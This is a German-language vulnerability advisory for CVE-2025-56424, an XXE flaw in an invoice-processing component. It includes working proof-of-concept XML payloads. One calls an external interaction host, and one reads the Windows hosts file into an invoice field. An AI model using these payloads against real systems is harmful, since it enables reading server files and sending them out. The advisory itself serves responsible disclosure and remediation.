Übersicht
CVSS-Bewertung (v3.1): 7.6 (Hoch)
Zugewiesene CVE: CVE-2025-56424
Empfehlung: Update zu Release 1 Service Pack 2 oder höher
Credit: Simon Holl und Lucas Noki von der MindBytes GmbH
Denkbare Angriffsszenarien sind beispielsweise das Auslesen und Senden von Server-Dateien an ein vom Angreifer kontrolliertes System oder das Überlasten des Servers.
Technische Details
Verbindungen ins Internet aufbauen
Den folgenden Inhalt haben wir an den Anfang einer Eingangsrechnung geschrieben. Beim Verarbeiten der Datei beachtet der XML-Parser die eingefügte Definition des Elements root. Das löst eine HTTP-Anfrage an die hinterlegte Domäne aus.
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://eingangsrechnung-xxe-http.nvmgf0kcoslrpedhrhi368rcm3sugm4b.oastify.com/"> %ext;
]>
Die nachfolgende Abbildung zeigt die Interaktion mit der hinterlegten Domäne. Es ist zu sehen, dass das System, auf dem die betroffene Komponente läuft, zunächst die Domäne per DNS auflöste und anschließend die HTTP Anfrage sendete.

Auf lokale Serverdateien zugreifen
Den folgenden Inhalt haben wir an den Anfang einer Eingangsrechnung geschrieben. Beim Verarbeiten der Datei beachtet der XML-Parser die eingefügte Definition des Elements root. Der XML-Parser befüllt das referenzierte Element root automatisch mit dem Inhalt der hosts-Datei.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///C:/Windows/System32/drivers/etc/hosts'>]>
<ubl:Invoice ...
[...]
<cac:AccountingSupplierParty>
<cac:Party>
[...]
<cac:PartyLegalEntity>
<cbc:RegistrationName>&root;</cbc:RegistrationName>
</cac:PartyLegalEntity>
Die nachfolgende Abbildung zeigt, dass der Dateiinhalt als Name des Rechnungsstellers in der Oberfläche einsehbar ist. Ein externer Angreifer hat typischerweise keinen Zugriff auf die Weboberfläche. In Kombination mit dem Senden von HTTP-Anfragen könnte ein Angreifer den Dateiinhalt bei einem Angriff auch an ein System im Internet senden. Diese Möglichkeit haben wir während unserer Tests nicht geprüft.
